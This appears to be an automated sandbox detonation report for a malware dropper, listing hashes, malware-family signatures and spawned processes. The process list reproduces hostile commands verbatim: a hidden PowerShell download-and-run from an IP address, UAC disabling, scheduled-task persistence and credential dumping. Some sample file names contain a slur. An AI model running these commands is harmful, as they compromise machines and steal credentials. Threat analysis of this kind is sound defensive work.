SHA512 a8cdbd0abac994fe82e54c388b8a0ada02b87e48a17fafd470f7d45f385742545034d954a36baf81f9ddb63a6da776b7e78049182956419fb34d33aaa4c8c063

C:\Users\Admin\AppData\Local\Temp\tmpD318.tmp.bat

MD5 d20ccac04488680c837f4952d5267a60
SHA1 7995ddbcc019fdaeb2b76090d4366501f5c9eb23
SHA256 47968f67002a4769078c1b68a993170618a9d1d9b256b9c3751fbb84992d55e8
SHA512 48e7e744329461c0b15b029888d242c4d48e1317c9021506b97393175aa643853377f704c6f7d37d1cdb4844a83518a6250e04ba3dd047c78ab422e003b51f40

Analysis: behavioral2

Detonation Overview

Submitted

2025-03-25 19:33

Reported

2025-03-25 19:34

Platform

win10v2004-20250314-en

Max time kernel

60s

Max time network

62s

Command Line

"C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe"

Signatures

Amadey

trojan amadey

Amadey family

amadey

AsyncRat

rat asyncrat

Asyncrat family

asyncrat

CrimsonRAT main payload

Description Indicator Process Target
N/A N/A N/A N/A

CrimsonRat

rat crimsonrat

Crimsonrat family

crimsonrat

DcRat

rat infostealer dcrat

Dcrat family

dcrat

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Lumma Stealer, LummaC

stealer lumma

Lumma family

lumma

ModiLoader, DBatLoader

trojan modiloader

Modiloader family

modiloader

Phemedrone

stealer phemedrone

Phemedrone family

phemedrone

Quasar RAT

trojan spyware quasar

Quasar family

quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Sality

backdoor sality

Sality family

sality

Sharp Stealer

stealer sharpstealer

Sharpstealer family

sharpstealer

SilverRat

trojan silverrat

Silverrat family

silverrat

SystemBC

trojan systembc

Systembc family

systembc

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xmrig family

xmrig

Xworm

trojan rat xworm

Xworm family

xworm

xmrig

miner xmrig

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

ModiLoader First Stage

Description Indicator Process Target
N/A N/A N/A N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A

Obfuscated with Agile.Net obfuscator

agilenet
Description Indicator Process Target
N/A N/A N/A N/A

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Uses the VBS compiler for execution

VMProtect packed file

vmprotect
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Indicator Removal: File Deletion

defense_evasion

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A
N/A ip-api.com N/A N/A
N/A whatismyipaddress.com N/A N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A
N/A N/A C:\Windows\system32\reg.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2360 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2360 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2360 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2360 wrote to memory of 5036 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe
PID 2360 wrote to memory of 5036 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe
PID 2360 wrote to memory of 6112 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe
PID 2360 wrote to memory of 6112 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe
PID 2360 wrote to memory of 6112 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe

Processes

C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe

"C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAZgBxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGIAYgByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARABpAGQAIAB5AG8AdQAgAGsAbgBvAHcAIAB5AG8AdQAnACcAcgBlACAAZgB1AGMAawBlAGQAIAB3AGkAdABoACAAYQAgAHMAaABpAHQAIAB0AG8AbgAgAG8AZgAgAFIAQQBUACAAZgBhAG0AaQBsAGkAZQBzAD8AIABPAGgAIAB3AGUAbABsACwAIABlAG4AagBvAHkAIAB0AGgAZQAgAG0AYQB5AGgAZQBtACEAJwAsACcAJwAsACcATwBLACcALAAnAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAnACkAPAAjAHUAdQBxACMAPgA="

C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe

"C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe"

C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe

"C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe"

C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe

"C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe"

C:\Users\Admin\AppData\Roaming\Installer.exe

"C:\Users\Admin\AppData\Roaming\Installer.exe"

C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe

"C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe"

C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe

"C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe"

C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe

"C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe"

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Users\Admin\AppData\Local\Temp\proxyt.exe

"C:\Users\Admin\AppData\Local\Temp\proxyt.exe"

C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe

"C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe"

C:\Users\Admin\AppData\Local\Temp\DanaBot.exe

"C:\Users\Admin\AppData\Local\Temp\DanaBot.exe"

C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe

"C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe"

C:\Users\Admin\AppData\Local\Temp\2020.exe

"C:\Users\Admin\AppData\Local\Temp\2020.exe"

C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe

"C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe"

C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe

"C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe"

C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe

"C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe"

C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe

C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe C:\Users\Admin 0

C:\Users\Admin\AppData\Local\Temp\2020.exe

"C:\Users\Admin\AppData\Local\Temp\2020.exe"

C:\Users\Admin\AppData\Local\Temp\goofy.exe

"C:\Users\Admin\AppData\Local\Temp\goofy.exe"

C:\Users\Admin\AppData\Local\Temp\FutureClient.exe

"C:\Users\Admin\AppData\Local\Temp\FutureClient.exe"

C:\Users\Admin\AppData\Local\Temp\nigga.exe

"C:\Users\Admin\AppData\Local\Temp\nigga.exe"

C:\Users\Admin\AppData\Local\Temp\amadey.exe

"C:\Users\Admin\AppData\Local\Temp\amadey.exe"

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x4e4 0x4f4

C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe

"C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe"

C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe

"C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe"

C:\Users\Admin\AppData\Local\Temp\CrimsonRAT.exe

"C:\Users\Admin\AppData\Local\Temp\CrimsonRAT.exe"

C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe

"C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe"

C:\Users\Admin\AppData\Local\Temp\Backdoor.Win32.Rbot.aal.exe

"C:\Users\Admin\AppData\Local\Temp\Backdoor.Win32.Rbot.aal.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5792 -ip 5792

C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe

"C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe"

C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe

"C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe"

C:\Users\Admin\AppData\Local\Temp\Discord Free Nitros.exe

"C:\Users\Admin\AppData\Local\Temp\Discord Free Nitros.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5792 -s 260

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4688 -ip 4688

C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe

"C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe"

C:\Users\Admin\AppData\Local\Temp\Discord Nitro Checker by Unheilgott (1).exe

"C:\Users\Admin\AppData\Local\Temp\Discord Nitro Checker by Unheilgott (1).exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4688 -s 960

C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr

"C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr" /S

C:\Users\Admin\AppData\Local\Temp\Lokibot.exe

"C:\Users\Admin\AppData\Local\Temp\Lokibot.exe"

C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe

"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"

C:\ProgramData\Hdlharas\dlrarhsiva.exe

"C:\ProgramData\Hdlharas\dlrarhsiva.exe"

C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe

"C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe"

C:\Windows\SysWOW64\sysfjcs.exe

C:\Windows\SysWOW64\sysfjcs.exe

C:\Users\Admin\AppData\Local\Temp\malware.exe

"C:\Users\Admin\AppData\Local\Temp\malware.exe"

C:\Users\Admin\AppData\Local\Temp\VirusShare_fff8783b7567821cec8838d075d247e1.exe

"C:\Users\Admin\AppData\Local\Temp\VirusShare_fff8783b7567821cec8838d075d247e1.exe"

C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe

"C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1428 -ip 1428

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5296 -ip 5296

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe

"C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 152

C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe

"C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe" service_service

C:\Users\Admin\AppData\Local\Temp\NetWire.exe

"C:\Users\Admin\AppData\Local\Temp\NetWire.exe"

C:\ProgramData\a5410c88f1\bween.exe

"C:\ProgramData\a5410c88f1\bween.exe"

C:\Users\Admin\AppData\Local\Temp\VirusShare_0ac0c5dc1e706e301c8f902b78c41e3b.exe

"C:\Users\Admin\AppData\Local\Temp\VirusShare_0ac0c5dc1e706e301c8f902b78c41e3b.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5296 -s 236

C:\Users\Admin\AppData\Local\Temp\RarSFX1\love.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX1\love.exe" /S

C:\Users\Admin\AppData\Local\Temp\TEAM BLUE CLIENT.exe

"C:\Users\Admin\AppData\Local\Temp\TEAM BLUE CLIENT.exe"

C:\Users\Admin\AppData\Local\Temp\Remcos.exe

"C:\Users\Admin\AppData\Local\Temp\Remcos.exe"

C:\Windows\SysWOW64\cmd.exe

/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Users\Admin\AppData\Local\Temp\Totally A Safe File.exe

"C:\Users\Admin\AppData\Local\Temp\Totally A Safe File.exe"

C:\Users\Admin\AppData\Local\Temp\putty.exe

"C:\Users\Admin\AppData\Local\Temp\putty.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c schtasks /create /tn hmXbEmahXlJ /tr "mshta C:\Users\Admin\AppData\Local\Temp\P6NQcSud6.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\mshta.exe

mshta C:\Users\Admin\AppData\Local\Temp\P6NQcSud6.hta

C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe

"C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe"

C:\Users\Admin\AppData\Local\Temp\TrollRAT.exe

"C:\Users\Admin\AppData\Local\Temp\TrollRAT.exe"

C:\Windows\SysWOW64\schtasks.exe

"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\nigga.exe" /rl HIGHEST /f

C:\Users\Admin\AppData\Local\Temp\Unconfirmed 78105.crdownload.exe

"C:\Users\Admin\AppData\Local\Temp\Unconfirmed 78105.crdownload.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\install.bat" "

C:\Users\Admin\AppData\Local\Temp\setup-25031954852.exe

C:\Users\Admin\AppData\Local\Temp\\setup-25031954852.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1428 -ip 1428

C:\Users\Admin\AppData\Local\Temp\Josh Bogler.exe

"C:\Users\Admin\AppData\Local\Temp\Josh Bogler.exe"

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe

"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"

C:\ProgramData\Synaptics\Synaptics.exe

"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'DOTGJEAVF8F5D6NOTXVOSEVKM1MH7PSZ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

C:\Users\Admin\AppData\Local\Temp\NetWire.exe

"C:\Users\Admin\AppData\Local\Temp\NetWire.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4804 -ip 4804

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9A8A.tmp\putty.bat" "C:\Users\Admin\AppData\Local\Temp\putty.exe""

C:\Users\Admin\AppData\Local\Temp\RarSFX1\ForYou.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX1\ForYou.exe" /S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 1428 -ip 1428

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4804 -s 1716

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 448

C:\Windows\SysWOW64\reg.exe

C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\regsvr32.exe

C:\Windows\system32\regsvr32.exe -s C:\Users\Admin\AppData\Local\Temp\DanaBot.dll f1 C:\Users\Admin\AppData\Local\Temp\DanaBot.exe@1428

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1428 -ip 1428

C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe

"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 516

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /tn hmXbEmahXlJ /tr "mshta C:\Users\Admin\AppData\Local\Temp\P6NQcSud6.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe C:\Users\Admin\AppData\Local\Temp\DanaBot.dll,f0

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\a5410c88f1\

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c del C:\Users\Admin\AppData\Local\Temp\proxyt.exe > nul

C:\Windows\SysWOW64\PING.EXE

PING 127.0.0.1 -n 2

C:\Windows\SysWOW64\schtasks.exe

"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f

C:\Windows\SysWOW64\reg.exe

REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\a5410c88f1\

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\M1Mi4wkJtfGZ.bat" "

C:\Users\Admin\AppData\Local\Temp\a\g354ff43hj67.exe

"C:\Users\Admin\AppData\Local\Temp\a\g354ff43hj67.exe"

C:\Users\Admin\AppData\Local\Temp\a\jajajdva.exe

"C:\Users\Admin\AppData\Local\Temp\a\jajajdva.exe"

C:\Windows\SysWOW64\chcp.com

chcp 65001

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Users\Admin\AppData\Local\Temp\a\crypted.exe

"C:\Users\Admin\AppData\Local\Temp\a\crypted.exe"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"

C:\Users\Admin\AppData\Local\Temp\a\crypted.exe

"C:\Users\Admin\AppData\Local\Temp\a\crypted.exe"

C:\Users\Admin\AppData\Local\Temp\a\roblox_protected.exe

"C:\Users\Admin\AppData\Local\Temp\a\roblox_protected.exe"

C:\Users\Admin\AppData\Local\Temp\a\crypted.exe

"C:\Users\Admin\AppData\Local\Temp\a\crypted.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7056 -ip 7056

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"

C:\Users\Admin\AppData\Local\Temp\a\system.exe

"C:\Users\Admin\AppData\Local\Temp\a\system.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fffe6dadcf8,0x7fffe6dadd04,0x7fffe6dadd10

C:\Users\Admin\AppData\Local\Temp\a\setup.exe

"C:\Users\Admin\AppData\Local\Temp\a\setup.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 7056 -s 812

C:\Users\Admin\AppData\Local\Temp\a\ChromeUpdate.exe

"C:\Users\Admin\AppData\Local\Temp\a\ChromeUpdate.exe"

C:\Users\Admin\AppData\Local\Temp\a\sCIPrhZt5Yub9qL.exe

"C:\Users\Admin\AppData\Local\Temp\a\sCIPrhZt5Yub9qL.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dJ3H492fymd.exe" /tr '"C:\Users\Admin\AppData\Local\Temp\TkEsyhMyLtSDFBh\dJ3H492fymd.exe.exe"' & exit

C:\Users\Admin\AppData\Local\TempDOTGJEAVF8F5D6NOTXVOSEVKM1MH7PSZ.EXE

"C:\Users\Admin\AppData\Local\TempDOTGJEAVF8F5D6NOTXVOSEVKM1MH7PSZ.EXE"

C:\Users\Admin\AppData\Local\Temp\a\VixenLoader.exe

"C:\Users\Admin\AppData\Local\Temp\a\VixenLoader.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\TkEsyhMyLtSDFBh\dJ3H492fymd.exe.exe' $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'dJ3H492fymd.exe-3696' -RunLevel Highest "

C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe

"C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1552,i,1215880684439278380,10159631914536175181,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2484 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

